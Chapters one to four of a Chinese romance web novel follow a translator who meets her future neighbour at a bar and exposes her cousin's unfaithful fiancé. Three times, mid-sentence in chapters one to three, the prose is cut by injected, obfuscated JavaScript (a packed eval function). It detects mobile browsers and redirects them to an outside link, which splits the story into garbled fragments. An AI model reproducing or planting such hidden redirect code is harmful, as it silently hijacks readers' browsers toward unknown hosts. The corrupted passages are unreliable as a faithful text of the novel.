《和相亲对象做邻居的日子》 1. 第一章 下午时分,许知蕴收到了妈妈发来的一个文件,还没来得及点开,许妈妈的电话就打了过来。 “小蕴,资料记得看哦!”或许是因为退休在国外度假的原因,许妈妈的声音很轻快,“人家家世不错,家风也正,长得也帅气,这算是挺好的相亲对象了吧?你要是觉得不错,那就试试看?或许能找到真爱也说不定哦,毕竟我和你爸就是相亲认识的。” 许知蕴看着刚刚传过来、新鲜热乎的word文档,标题上还写着“相亲对象一”。 她问:“如果这个不成呢?” 许妈妈很无所谓:“不成那我们就不相了,我们也不勉强你。只是这孩子确实不错,我和你爸都觉得值得一试呢。” 人一旦过了二十五岁,似乎就都逃不过被催婚的命运。许知蕴今年二十八岁,正处在一个不尴不尬的年龄。她也听别人的介绍,相过几次亲,同几位男士见过面,可惜无一例外都告吹了。被询问起原因时,她总是说:或许就是没缘分吧。 许妈妈向她保证,今天这个,是最后一个。 许知蕴一边敲着键盘,一边调侃道:“真的?真的是最后一个?” “真的真的,不骗你。” “那就好。别着急,妈妈。等我忙完这篇稿子就看。” 许妈妈得到期待中的回复,便满意地挂了电话。 许知蕴是个自由职业者。大学毕业后,她考取了新加坡的翻译学硕士——可惜这点学历在父母面前都是不够看的。许家父母都是博士,两人在同地区的不同大学任教,眼前的研究生简直遍地走。 读完硕士,她便回国工作。刚开始找了个服装大厂,负责对外贸易,干了一年半,实在太累,工资和投入简直不成正比,尤其是早上起床梳头,发现由于熬夜导致头发大把大把往下掉后,更加坚定了辞职的决心,索性一鼓作气,辞了工作,在家里接接翻译稿,靠杂志给的稿费为生。她的专业知识很过硬,因此得到的报酬也算是丰厚,支撑自己的生活没有问题。 只是每天埋头于电脑和词典之中,差点就得了假性近视。 译稿还差那么多……什么相亲对象的资料,还是先滚到一边去吧。 她懒得点开,只是将文档拖到电脑桌面上——这就算保存了。 * 等到把今日既定的页码翻译完,已经是晚上八点了。许知蕴伸了个懒腰,心情颇好,打算去附近的酒吧喝一杯。 那家酒吧算是这附近的老牌知名酒吧,她每次路过时,都能透过窗看见里边坐满了人,听见里边驻唱歌手柔柔的歌声。她前不久去过一次,觉得里边的大都会和金汤力很是不错。 今天就当奖励自己吧。换了身衣服,许知蕴便下了楼。 酒吧里人不算多,她找了个僻静的小桌坐了下来。服务生拿来酒单,她看了看,还是选择之前喝过的那款。“我喜欢果味,酒精浓度高一些也没关系。” “好的小姐。” 服务生拿走了酒单,把水和小食端了上来。这家的特色是芝士薯条,许知蕴尤其喜欢它浓厚的芝士香气,闻起来很温暖。 酒还没上来,她索性撑着腮帮子,开始观察周围。吧台那边是一对正在交谈的年轻男女,靠窗的位置则坐着几位穿着颇有嘻哈风格的青年;再近一点,是群风格各异的美女,正举着杯子叽叽喳喳地聊天。许知蕴的目光在空气中漫无目的地穿梭着,最后集中在一个男人的身上。 这人坐在她的侧后方,两人的桌子挨得不算近,但也不算远。店内虽然光线略微昏暗,但她仍能很清楚地看见男人那颇为出挑的长相。这人穿着闲适,不失低调清爽,但周身偏又有一股气场,将他与其他人隔开一层。 许是感知到她的目光,男人抬起头来,露出精致又不失锋锐的眉眼。 哇哦,帅哥。看起来身材也很好。 许知蕴在心底悄悄夸赞了一句。但此刻两人对视,如果不说点什么,就显得格外尴尬了。于是她把目光隐秘地从那张帅脸上挪开,表现得对他桌上的苹果派很感兴趣的样子: “……嗯,我想问一下,这个好吃吗?” 她也点过小食,但很确信之前从未在菜单上见过苹果派。难道是新品? “不,我觉得很一般。” 许知蕴原以为对话会就此告一段落,却没想到男人接下来还给出了颇为诚恳的建议:“我推荐你点烤口蘑虾滑,也是最近的新菜,但非常成功。” 真的假的? 许知蕴是很干脆的人,做事有些风风火火,在吃的方面,也非常乐于接受别人的提议。她很快点了一份烤口蘑虾滑,过了一会,这份热气腾腾的虾滑便和她先前点的果酒一起被端了上来。 咬开的那一瞬,口蘑和虾滑的鲜味就在唇齿中迸发出来,配上黑胡椒和些许欧芹碎的独特香气,更是令人流连忘返。许知蕴吃了第一口,就立马对男人竖起大拇指:“谢谢你的推荐啊,真的很好吃!” 她的眼神亮晶晶的,在酒吧这昏暗的灯光下,显得流光溢彩。 男人笑了起来:“能合你的口味,那正好。” 今天许知蕴点的依旧是大都会,蔓越莓汁清甜爽口,同时又含有酒精的浓烈感,晚上小酌一杯最适合不过。 或许是因为喝了点酒,她的胆子意外地变大了,转过头,开始跟男人攀谈起来:“帅哥你好,怎么称呼啊?” 男人侧过身,以便更好地面对她:“我姓程。” “我姓许。”许知蕴啃了两口芝士薯条,“程先生,你经常来这里吗?我先前没怎么见过你呢。” 程烨然说:“只来过一次。那次是我和几个同事在这里聚餐。” 同部门的一位意大利同事过生日,便请他们来喝点小酒。几个人把这酒吧里的菜都点了个七七八八,尝过之后,那位同事青睐烤鳕鱼,而他却认为口蘑虾滑更胜一筹。 “这样啊。”许知蕴点点头,“那今天来又是为了什么呢?觉得这里的菜好吃?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042582|162605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程烨然拿过身旁的自由古巴,轻轻摇晃着杯中的冰块。 “不。”他给出了一个否定的答案,“家里催婚,安排了相亲,我在想究竟去不去。” 似乎大家都在烦恼这类问题啊。许知蕴问:“相亲对象是什么样的人呢?” 程烨然沉默了一会,道:“暂且还不知道。” 他爸还没给他看人家的资料。 许知蕴好歹算是相过几次亲的人,便装出一副很有经验的样子,真诚地劝说他:“有时间还是相亲试试看,万一找到真爱也说不定?就算找不到,你多相几次,展现出对她们都没什么兴趣的态度,父母或许就不再催了……我差不多就是这么过来的……” 她说得头头是道,真情实感。程烨然忍不住惊讶地挑了挑眉:“我以为以许小姐的条件,寻觅一个如意郎君并非难事。” 面前的女子长相清秀,带些书卷气。虽然打扮随意,但依旧能从她的谈吐及姿态中,看出她必定有很好的家庭教育,受过良好的教养。 许知蕴闻言笑起来:“承蒙夸奖。或许跟他们还是没缘分吧。” 她将酒喝完了,打算续杯,抬眼想招服务生来,却看见吧台那边,推门进来两个人影。那是一男一女,女人着一身酒红色的吊带裙,男人则穿着精心熨烫过的深蓝色衬衫,头发也像是花心思打理过。两人坐到吧台处,同调酒师交谈了几句,随后便柔情蜜意地亲吻起来。 若只是一对普通的男女,那便罢了,可许知蕴却越看那男人越眼熟。 无论是身形还是五官,这人……都像极了她表姐的未婚夫。 她印象中,表姐是去年订的婚,今年夏天就要结婚了。如果他真是表姐的未婚夫…… 本来想继续喝的,看来喝不成了。许知蕴叫了服务生来结账,随后开始收拾自己的东西,一边收拾,一边低声对程烨然说:“程先生,谢谢你同我聊天,但很不好意思,我得先走了。” 程烨然在先前就已经注意到她神色的变化,猜或许是什么与那对男女有关的事,只是他一个萍水相逢的陌生人,也不好多问。 “许小姐再见。”他礼貌地颔首,“我还会再坐一会,如果有什么需要帮忙的,可以回来找我。” 许知蕴点点头,然后拎着包走向吧台。她要看看这男人究竟是不是她表姐的未婚夫,如果认错了,她就赔礼道歉。可如果没有认错…… 她走到那男人身旁时,穿酒红色裙子的女人朝男人使了个眼色,低声说:“阿俊,似乎有人找你呢。” 于是,男人侧过头来——吧台的灯光要比小桌明亮一些,因此,几乎是在男人转头的同一时刻,许知蕴就看清了他的脸:这张熟悉的、出现在表姐床头照片上,以及手机里各种合照的脸。前不久,这张脸的主人,还“满怀爱意”地同表姐在山上露营,拍了照片,好一对佳偶天成。 许知蕴深吸一口气,伸手按住这男人的肩膀,冷笑起来,一字一顿地说道:“你是李文俊先生,没错吧?” 2. 第二章 李文俊的脸瞬间变得煞白。 “我们……”他看了一眼身旁的女子,又看了一眼许知蕴,低声道:“小蕴,我们出去说……出去说……” “好,出去。”许知蕴冷着脸,扯着男人的袖子,将他拽到了外边一条小路上。这条路很少人走,此时相对僻静,正好供他们说话。女人也跟了过来,脸上是显而易见的慌乱:“怎么了?这位姑娘,阿俊怎么了?” 许知蕴说:“小姐,你知不知道,这位李文俊先生,有婚约在身?如果我没记错,今年夏天,他就要举办婚礼,成为一个真正的好、丈、夫、了。” 她故意把“好丈夫”三个字咬得很重。这话一出,在女人的耳朵里,犹如炸出晴天霹雳一般,女人猛地回头,不可置信地看着李文俊:“你要结婚了?先前认识的时候,你说你单身,这都是在骗我?!” “我——”李文俊想说什么,却什么都说不出。若今天抓包他的是什么别的女人,他大可以用谎话来搪塞她:妹妹啦、公司认识的同事啦……我和她们保持距离,是她们自己要贴上来的,随后再送点礼物,低声下气地做做保证即可——可今天,他面前站着的是许知蕴,是他那位未婚妻的表妹。无论他撒什么谎,这位表妹都能分分钟拆穿。他还能说什么? 可许知蕴却像是知道他在想什么一般,轻轻地笑了一声:“李先生,你该不会在想,如果今日抓你的不是我,你还能撒撒谎,送送礼物,就把这事情揭过了,对不对?” 她话音刚落,又转向那名女人,道:“这位小姐,他是我亲戚的未婚夫,订婚典礼的照片还在我手机里,你要是想确认,我随时可以给你拿出来。这人是个彻头彻尾的骗子,他骗了他的未婚妻,也骗了你,说不定……”她的语调意味深长起来,“说不定,在我们都看不到的地方,他还骗了别人呢。” 女人的眼睛里满是泪光,不过只有一瞬,她很快用手背擦拭掉了。她拉住许知蕴的手,声音有些哽咽:“谢谢你,要不是你,我还发现不了……” 说完,她看向旁边站着的李文俊:这人此时像个鹌鹑一样缩着脑袋,那身熨烫过的衬衫变得皱巴巴,打理过的头发也被风吹得凌乱。此时再看他,哪里觉得什么面容英俊,风度翩翩,只觉得面目可憎得很。李文俊想伸手拉住她,被她一把甩开:“别用你的手碰我!我们已经分手了!” 女人很快招手打了一辆出租车,乘着车扬长而去。 看着出租车远去的身影,李文俊颤颤巍巍地开口:“小蕴……我会和美芝提分手……你能不能……” 许知蕴斜睨他一眼:“能不能什么?” “能不能别告诉美芝这件事……” 哇哦,男人的脸面。许知蕴沉默了一会,忽然道:“好啊。” 李文俊没想到她答应得那么爽快,满脸都写着惊异。许知蕴指了指他的手机:“你现在马上打电话给我表姐。你不是说你来提分手吗?那么现在就提。” 李文俊拿起手机,很快拨通了电话。“美芝。”他小声嗫嚅道,“我觉得我们可能并不适合在一起……我们取消订婚,分手吧。” 许知蕴留心听他的下文,可他说完这句话后,对面似乎回答了句什么,就干脆利落地挂掉了,徒留李文俊满脸的错愕。 “你表姐她……同意了。”李文俊怔怔地说。 许知蕴也不懂表姐为什么这么爽快地同意——难道是早有察觉?不过这些都已经不重要了。摆脱渣男,真是一件可喜可贺的事情。 “你还是好自为之吧。”她说。 李文俊的背影显得失魂落魄,而许知蕴才不关心这件事情呢。她哼着歌儿轻快地走回了家。 当然,一回到家,她就反手拨通了表姐陈美芝的电话。 * 陈美芝在洗漱前接到了李文俊的电话,在洗漱后又接到了许知蕴的电话。她一想,大概就能猜出什么回事了。 许知蕴在电话里将今晚发生的事情讲了一遍,陈美芝听完,默默地点头。来龙去脉讲完,许知蕴忍不住问:“表姐,你怎么这么快就答应分手了?是你察觉出什么了吗?” 陈美芝叹了口气:“小蕴,女人在陷入爱情中的时候,往往会不自觉变得敏锐的。” 陈美芝今年三十三岁,曾经谈过一段七年长跑的恋爱,要订婚时,因男方家长死活不同意而告吹。后来她遇到了李文俊,这人年纪与她相仿,长得也算五官周正,做事很得领导的赏识,总之似乎是个值得投资的好苗子,加上李文俊嘴很甜,两人很快就在一起,两年后便订了婚。 陈美芝也不想发觉的,可是她却不得不发觉。 那些若有似无,想要仔细捕捉却又消失的女士香水味;对不上行程的时间表;偶尔躲闪的目光;有时莫名其妙的讨好和殷勤……她的感官几乎是无意识地捕捉到了这些东西。她也曾半真半假地询问过,得到的回答却总是有理有据,似乎天衣无缝。这两个月来,她一直在想这些事情,但并没有实质性的证据。正当她苦恼的时候,李文俊却将分手的电话打了过来。 正好,她也动了这个心思,索性答应了。 如今恢复单身状态,陈美芝觉得一身都轻松了许多。 许知蕴的声音闷闷地从电话那头传来:“我知道……人一旦做了什么事情,总会留下蛛丝马迹的。只是表姐,我希望你早日遇见一个对你真心相待的人。” 陈美芝虽然大她六岁,但从不摆姐姐的架子,许知蕴小学时便和她玩在一起,听她讲中学时的趣闻。等许知蕴也上了初中,陈美芝就给她免费补习。许知蕴去新加坡时,许家父母由于出差的原因没空,还是陈美芝送她上的飞机,在当地陪她逛街、买生活必需品、排解思乡的寂寞……她一直觉得,只有顶好的男人,才能配上表姐的灵魂。 听许知蕴这么说,陈美芝笑了,隔着电话线宽慰她:“小蕴,一个男人而已,只能是感情上的小创伤,算不得什么。我看与其操心我,不如多关注一下你自己的人身大事吧。” 看来表姐也听说父母给自己安排相亲的事了。许知蕴哀叹:“别说了,想到这个我就头疼。” “对方是什么样的人呢?”陈美芝问。 “我还没看,反正距离约定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042583|162605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时间还有好几天,不着急。等我把这个翻译的稿子忙完再说。”许知蕴懒洋洋地瘫在沙发上。 “好好好,不打扰你了。”陈美芝看了一眼钟,“我得睡了,明早还有个会议要开。周末再聊?到时候表姐带你吃海鲜去。” “周六还开会呐……一言为定啊!” 许知蕴美滋滋地挂了电话。那家海鲜她先前同陈美芝去过一次,菜品新鲜,香气扑鼻,最主要的是价格实惠,还能看到海景。 她快乐地洗漱,换上睡袍,简单做了护肤,戴上眼罩,然后幸福地躺倒在床上,打算享受一个美好的夜晚。 可惜,半夜十二点,她被饿醒了。 * 许知蕴打开了厨房的灯。 她这人,对吃的算是比较有要求,自己也经常下厨,做些自个儿研发的菜品。厨房的灯亮得有些刺眼,她花了好一会才适应光线,然后打开冰箱,在里边翻找能吃的东西。 翻了半天,翻到一把蔫了吧唧的青菜、一排鸡蛋、一包手打牛肉丸、还有冷冻层里冻得硬邦邦的猪肉若干。这个时候解冻是来不及了,许知蕴只好把牛肉丸、青菜和鸡蛋拿出来,又从柜子里抽了一袋挂面,准备做个夜宵吃。 煮面、下菜、调汤……不多时,一碗再家常不过的面条就做好了。许知蕴还给自己卧了个荷包蛋。她对煎蛋很有一手,尤其爱吃酸甜口的荷包蛋。 往面里加了点辣油和蒜蓉辣酱,许知蕴的视线扫过调料台,看见里边有一瓶几乎没怎么开过的黑胡椒粉。她又费劲把那瓶黑胡椒拿了出来,撒了点在面上。浓郁的香气瞬间充满了整个厨房。 闻着这熟悉的味道,她忍不住想起今天吃的那盘鲜美的烤口蘑虾滑,想起今天碰见的那个男人。 虽然只是偶然碰见,但她却觉得和这位程先生很是投缘。尤其是在两人都有共同的烦恼——相亲——的时候,简直就是一个战壕里的战友。 只是不知道什么时候会再见到他?或许之后都见不到了也说不定。 * 许知蕴久违地熬夜了。 由于昨晚吃了夜宵,她的大脑还处于亢奋状态,根本睡不着觉,索性拿起手机玩了两把游戏。可这游戏越玩越窝火,越玩越折磨,里边的某个任务总是完不成,她就铁了心的要在今晚通关这个任务,因此熬到了凌晨三点。 等她看到时针指向“3”这个恐怖的数字时,后悔却也为时已晚。她放下手机,任由铺天盖地的困意席卷而来,结果一下子睡到了第二天早上十一点。 拿出手机一看,许知蕴瞬间清醒了。她急急忙忙从床上蹦起来,以最快的速度洗漱,啃了个家里的面包当早餐。可这一通操作下来,还是很困。她感到眼皮子直打架。 许知蕴模糊地记得,附近最近新装修了一家咖啡馆,就在不远处,十分钟以内就能到,于是便背着词典、电脑和稿纸,风风火火地踏着日光走进店里,找位置坐下,点了杯玛琪雅朵,便打开电脑,专注地与大段大段的英文抗争。 她工作得很是忘我,全然不知半小时后,有两个男人并肩走了进来。 3. 第三章 周颂走在路上,觉得热得慌,便将外边那件薄外套脱了下来。“你说这天气怎么这么怪呢,一会热一会冷的。早知道学你了,穿件短袖多方便。” 这会脱了外套,没处放,周颂只好把它搭在手上。 程烨然笑笑,给他看手机里的天气预报:“春天就是这样。气温变化多端,大街上穿什么的都有。” “真是……” 周颂抹了把头上的细汗,同程烨然聊起家里七大姑八大姨的八卦来。程烨然已经听了一天,饶是再有趣的八卦,如今耳朵也起茧子了。“你这有完没完了?”他说,“你还是想想如何让叔叔回心转意才要紧。” 周颂想要自主创业,于是同他爸吵了一架。他爸说,先前开个书店,经营不善倒闭了,如今又想开个咖啡馆,不如跟着你舅舅学证券,将来家里的产业也好继承。周颂跟他爸顶嘴,说我烦死那些弯弯绕绕的东西,反正现在木已成舟,店面已经开业了,如果把这个也干黄了,我再跟着舅舅学。 两人在家里吵了不大不小的一场架,正是两看相厌的时候,周颂觉得眼不见心不烦,就跑到程烨然家里借住。他问程烨然,这附近有什么好吃的,不如中午去搓一顿。程烨然思索了一下,说附近没什么吃的,但他知道一家做扬州狮子头一绝的菜馆,可以一试。 他们驱车前往,发现这家菜馆虽然位置偏僻,但停车位几乎爆满,两人转了几圈,才发现一个位置。上了二楼,点了狮子头并几道招牌菜,周颂拿着筷子尝了一口,便直呼来对了。 直到现在,他的鼻尖还萦绕着松茸的清香。 作为回报,周颂说,请程烨然去他的新店喝咖啡。 “我爸现在在气头上呢,生气快,消气也快。不着急……”周颂絮絮叨叨,“等我在外边潇洒几天先。” 程烨然同周颂从小交好,大概也能摸清他父亲的脾气。“但愿吧。” 两人说着,已经看见了咖啡馆的招牌。他们推门进去,周颂问他:“上二楼吗?” “不用。”程烨然随意道,“就在一楼也挺好。” 他的目光在店内扫了一圈,却在触及某个地方时顿住了。 那里似乎有个很眼熟的身影,正在噼里啪啦敲击键盘,时不时埋头在词典里,偶尔挠挠脑袋,拨拨头发,看上去有些烦躁的样子。 “看什么呢?” 周颂放低声音,顺着程烨然的视线看过去。“哎呀,一位姑娘!” 他的声音虽小,但仍能让人听出里边夸张和调侃的意味。“烨然,这是你的朋友?我怎么从没见过?” 程烨然笑着摇摇头:“不,是我昨天在酒吧遇见的一个人。” 他招来服务生,低声问:“那位小姐点了什么?” “一杯玛琪雅朵。” 程烨然说:“我替她付了。”说完,朝周颂使了个眼色。 周颂在一旁立马补充道:“结账时她如果问起,你就说她是今天序号特殊的顾客,享有免单权利。顺便给我点一杯澳白,给这位先生点西班牙拿铁。都要热的。” 等服务生走后,周颂迫不及待地问他:“昨晚在酒吧的事情,你还没跟我说呢。我看你是蛮欣赏她的,都替她付账单了。” 程烨然倒是不否认这一点。“我确实很欣赏她,和她聊天很有趣。” 周颂呵呵笑起来,同程烨然坐下。两人的咖啡很快端上来,程烨然举起杯子,抿了一口,夸赞道:“很好喝。我看叔叔不必担心你这咖啡馆的经营了。” “那当然,我请的可都是业内有名的咖啡师,原料都是最好的。”周颂信心满满。他虽然出生于金融之家,可他最大的梦想不是成为什么龙头大鳄,只是想开一家小店,自娱自乐而已。之前的书店倒闭了,他吸取教训,满心觉得自己这咖啡馆能开得起来。程烨然也真心希望他能做成。 * 忙活到下午两点半,许知蕴总算是把原定在上午翻译完的段落搞定了。今天的速度比想象中的要快,或许是因为这咖啡的确很好喝。新开的果然不一般啊。 她站起身来,活动活动筋骨,想着回家休息一会,下午再来,便喊来服务生要结账。“这多少钱来着?” 她掏出手机,准备付款,却听见服务生说:“您是本店今日的第12名顾客,12是今日的幸运数字,恭喜您获得免单的权利。” 许知蕴一听,惊叹于自己的好运。 “你们店搞活动吗,我怎么没看广告上写……难道是隐藏活动?”她笑盈盈道:“看来我得研究一番,以后数着人数来才行。” 服务生也笑了:“欢迎您常来。” 许知蕴将手提电脑关了,装进电脑包里,走出了店门。不知为什么,忽然有些心有所感——就像有什么力量想让她回头一般,她莫名想要再看一眼。 这一看,她就透过咖啡馆的玻璃窗,看见了那位在酒吧里遇见过的,程先生。 她放轻脚步走了回去,走到程烨然的跟前,见这人正在看书,也不好打扰他,正想着怎么巧妙地开口,程烨然就抬起头来了。 许知蕴连忙打招呼:“嗨!不知道你还记得我吗?” 程烨然放下书,温和道:“当然记得了。”他站起来,拉开对面的一张椅子,请许知蕴坐下,又问她想喝或吃点什么。许知蕴摆摆手:“不用啦,先前已经喝过了。” 她顿了顿,想着同他能再次遇见也算是有缘分,便说:“我叫许知蕴。知道的知,蕴含的蕴。可以请教程先生的名字么?” 程烨然并不觉得,一个只见过两面的人询问他名字,是一种冒犯。 他报上了自己的名字。兴许是一时想不到“烨”字的组词,他索性打开手机,打拼音给她看。 就在这时,穿着服务生衣服的周颂忽然从不知哪个旮旯角跳出来,手上还端着盘子,嬉皮笑脸道:“许小姐好呀!我是烨然的朋友……烨然,你也不介绍一下我?” 程烨然只好无奈道:“这是周颂。他是这家店的老板。” 周颂朝他做了个鬼脸:“哇,介绍我那么随意啊!” 许知蕴夸他:“周先生不仅一表人才,还很有品味呢。店里的装修很漂亮,咖啡也很好喝,品得出来很有功夫。我以后会常来的。” 她这话虽然是夸赞,但也并不是假话。咖啡馆内的装潢确实别具一格,她刚喝的那杯玛琪雅朵,奶泡十分绵密,咖啡浓缩也比其他品牌的更有风味。 听她这话,周颂得意地咧开嘴:“你真会说话!以后你来,我都给你打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042584|162605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半折。” 他还想再聊一会,可是来客人了。既然穿了服务生的衣服,那就得尽到职责。他说了句“失陪”,便笑容满面地招待新客去了。留程烨然与许知蕴两人坐在那里。 桌上有一本小书,开本有点小,意外地很厚实,封面似乎是一个玩具熊的手绘图。这是程烨然刚才看的书。 她指了指那本书,问:“我可以看看么?” “当然可以。”程烨然将书拿起递给她,“你要是想拿回去看,我也可以借你。” “多谢啦。” 许知蕴接过书,翻动起来。里边每一页都有一副手绘图,有的是小汽车,有的是玩偶,还有些是拼图、魔方等,总之是许多可爱又有点稀奇古怪的小物件。在每一幅图的下方,都会标注这是哪个公司的哪名设计师的作品,以及它们生产出来的日期,以及独有的机关与巧思。一本很精致的书。 许知蕴将它简略地从头翻到尾,赞叹道:“很漂亮。” 上边的手绘图真的很吸引人。她将书交还给程烨然,开玩笑似的猜他肯定很喜欢画画。没想到程烨然说,自己的工作与绘画相关。许知蕴很好奇,这位程先生是做什么工作的呢? “我是益智玩具的设计师。”程烨然神色自若,给她解答了。 他从小喜欢绘画,他父亲则想让他学商科——也就是跟着他哥的路子。程烨然也确实有经商一道的天分,可他却同周颂一样,偏不喜欢这些东西,大学时一意孤行读了设计。程父想,总归家里还有另外成器的孩子,能够放心把产业交到他手上,也就随程烨然去了。 程烨然作为程家的儿子,也参加过不少宴会,只是有人提到他的工作,神色间总会有点不解。像他们这些人,大多修读商科、语言、法学等学科,修艺术的也大有人在,可学“玩具设计”的寥寥无几。如果要学艺术,学其他专业不好么?说出去也有点分量。不知学这个有什么前途? 他短暂晃神,却听见许知蕴说:“真棒!如果我会画画,一定也要找个类似这种的工作!” 程烨然问她缘由。 “谁小时候没玩过玩具呢?以前我就在想,如果谁能设计出有趣又好玩的东西就好了。我也自己试着做过,只是手不够灵巧,脑子也没什么创意,做不出来。一个能设计出令人爱不释手的玩具的人,肯定有扎实的基本功、灵感、耐力以及童心。这难道不是很棒吗?” 听她这么说,程烨然忍不住笑起来。这姑娘真的很有趣。 许知蕴又说起自己的本职工作来。一说到熟悉的东西,很容易没完没了。她同程烨然说了很多:假性近视的苦恼啦、对于不明白的专业术语的抓狂啦、查生僻词语的麻烦啦……顺便还说了几个有趣的英文俚语及其对应解释。程烨然读硕士时是去德国留的学,精通的是德语,对于英语,他还停留在勉强与人自由交谈的阶段,因此对于这些英语的小趣味,他感到很是新鲜。 再加上她讲得幽默,他也不觉得枯燥,只是坐在她对面,静静地听。 许知蕴说了许久,突然反应过来自己在干什么,立马打住了话头,有些不好意思:“啊,我是不是说得太多了?” 程烨然认真地看着她,摇了摇头。 “不。我很喜欢听。” 4. 第四章 他们聊得很尽兴。 临走时,周颂还给他们塞了好几包小零食,让他们有空常来。“特别是许小姐哦,你来都是半价!” 许知蕴向他道谢。程烨然抱着手臂看向周颂:“周大老板,那我呢?” 周颂仍是那副笑嘻嘻的样子:“我也给你半价。” 程烨然这才舒心了。 他看向许知蕴,说送她回去,问她住哪个小区。许知蕴很快报出了小区的名字,程烨然却是一愣。 他说:“我也住这个小区。” 这回轮到许知蕴惊讶了。“你住哪栋?” “15栋。”程烨然补充道,“15栋8层。” 许知蕴差点要跳起来。“我住15栋7层!” 她忍不住上上下下地打量着程烨然。他们住一个小区,还是同一栋楼,况且是程烨然这样一个人,就算她平日爱宅家不出门,那怎么可能没见过? 然而事实就是没见过。两人虽然住在同一个区域,生活却诡异地像两条平行线。如果不是在酒吧遇到,或许根本不会相交。 程烨然给她拉开车门:“我刚搬来这里不久,平日也多睡在公司,周末才回来住。没碰见过,也并不奇怪。” 许知蕴坐进车内,给自己系好安全带。她能闻见车内浅淡的香水气息。 她抬眸,看着程烨然的侧脸,看他优越的鼻梁,忽然感到心境有些奇妙。 程烨然抬手发动车子,见她目光停留在自己的脸上,便偏过头去,很自然地问:“怎么,我脸上有什么东西?” 许知蕴眼睛弯弯,快乐地说:“没什么。看你帅呢。” 他们互相留了电话和门牌号。 许知蕴又投身于自己的工作之中。她忙碌了两天,总算在截止日期前将稿子赶完了。将桌面上一堆查阅的资料截图等删掉,看着银行卡里的钱入账,总有一种成就感。 她同陈美芝打电话,说自己遇到的这个人。她没提名字,只说了两人碰面两次,又住在同一栋楼上下层的事情。陈美芝听了,乐不可支,直说他们有缘分,或许比那虚无缥缈的相亲对象强。 许知蕴听到“相亲对象”这四个字,愣住了。陈美芝听她不说话,忍不住狐疑道:“小蕴,你该不会还没看吧?” 许知蕴说:“我忘了。” 工作太忙,她已经把这件事抛到一边了。 陈美芝好笑地叹气:“阿姨要是知道了,估计又得批评你。还是赶紧看了吧。” 许知蕴连连点头,在电脑上翻找起来。她找了半天,发现没有,疑心自己难道把资料错当成该处理的垃圾挪到回收站里了?她又点开回收站,鼠标滚轮滚了两圈,才在一堆长长短短的文件名中找到“相亲对象一”的名字。 她怀着忐忑不安的心情打开,却发现—— 文档里除了两页空白着的表格,什么也没有。 * 程烨然这天晚上没有宿在公司,也没回家,而是赶往了老宅。 他哥程烨熙出差回来,便叫他回宅子吃晚饭。等他赶到,菜已经差不多上齐了。江玥一见他进门,便笑盈盈道:“快洗了手来吃饭吧。” “嫂子好。”程烨然把外套脱了,挂在衣帽架上。原本江玥还想帮忙,程烨然说:“不用了嫂子,等下我哥看到又不高兴了。” 江玥笑笑:“他不敢不高兴。” 程烨然洗了手,坐到桌子旁。程父程母要处理公司事务,前两天便飞到外地了,因此家里餐桌上就他们三人。他舀了一碗三鲜鱼汤,喝了好几口,满足地喟叹一声:“在外边也吃过不少有名气的店,但还是陈叔做的三鲜鱼汤最好吃。” 程烨熙对江玥打趣道:“你看,咱们家里,只有他最会吃。家里两个厨师,都会做三鲜鱼汤,我们倒觉得没什么不同,偏偏他立马就能尝出来是陈叔做的。” 江玥说:“毕竟厨师是烨然找来的嘛。” 家里总共五口人,只有程烨然对美食情有独钟。大学时,他曾因为听闻某地的虾蟹此时正肥美,就打飞的去当地吃,一呆两天,吃了好几家,难吃的也有,好吃的也有。吃到鲜美的蟹膏,还拍了照同他哥炫耀。 几年前,家里的厨师年纪大了,想要退休,程烨然就费大劲多方打听,找来两个好手。这两位师傅,一个擅长淮扬菜,一个擅长粤菜,都是业内颇有名气的。就连口味比较挑剔的程父,吃了他们做的菜,也挑不出什么错来。 程烨然对他哥的调侃不以为意:“民以食为天。我可就这点乐趣了。” 他一边吃饭,一边听着程烨熙讲公司里的事情。那些专业名词,他涉猎不多,也就听个一知半解。有时候看他皱眉头,江玥就出声来解释。 江玥是程烨熙读书时认识的大学同学,毕业就结婚了,如今一直甜蜜到现在。 程烨熙说了许多,总算将想说的说完了。他看了程烨然一眼:“我的事讲完了。你讲讲你的。” 程烨然本想说,自己没什么事,但却转念想到了前些天遇到的那位姑娘。 他想起那天在咖啡馆里的那个场景。许知蕴在谈论自己的工作,虽然语气上是对这份工作的抱怨,但她说起那些有趣的俚语和译者典故时,眼睛发亮,顾盼神飞,看得出,她是真心热爱这份事业的。 他回想着,嘴角微微勾起。 程烨熙看到他神色的变化,便问:“想到什么了,看起来挺开心的?” 程烨然的眉眼含着淡淡的笑意:“之前遇见个有趣的人,同她聊了一会天。” 